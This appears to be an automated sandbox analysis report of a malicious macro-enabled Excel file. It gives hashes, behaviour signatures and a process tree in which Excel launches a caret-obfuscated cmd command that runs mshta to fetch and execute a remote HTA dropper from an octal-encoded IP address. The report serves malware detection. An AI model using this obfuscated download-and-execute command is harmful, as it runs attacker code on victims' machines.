Analysis

  • max time kernel
    138s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 12:26

General

  • Target

    e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7.xlsm

  • Size

    110KB

  • MD5

    a3c1eee45b2ee65f5f0fda091c3b9bfe

  • SHA1

    1bd37dfba56924ab73ce9f6da17a946715b6a76a

  • SHA256

    e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7

  • SHA512

    ec072cf278b55e4b5e283ebb49aacf924cda7e83a2004c84264a4b1d47b3fb280b6313740fd77df2ac59f007a8f4535f5219a010b1d02a7dd1718f39eca3359e

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\system32\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        PID:2400

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3560-115-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-116-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-117-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-118-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-119-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-128-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

    Filesize

    64KB

  • memory/3560-129-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

    Filesize

    64KB

  • memory/3560-301-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-302-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-303-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB

  • memory/3560-304-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

    Filesize

    64KB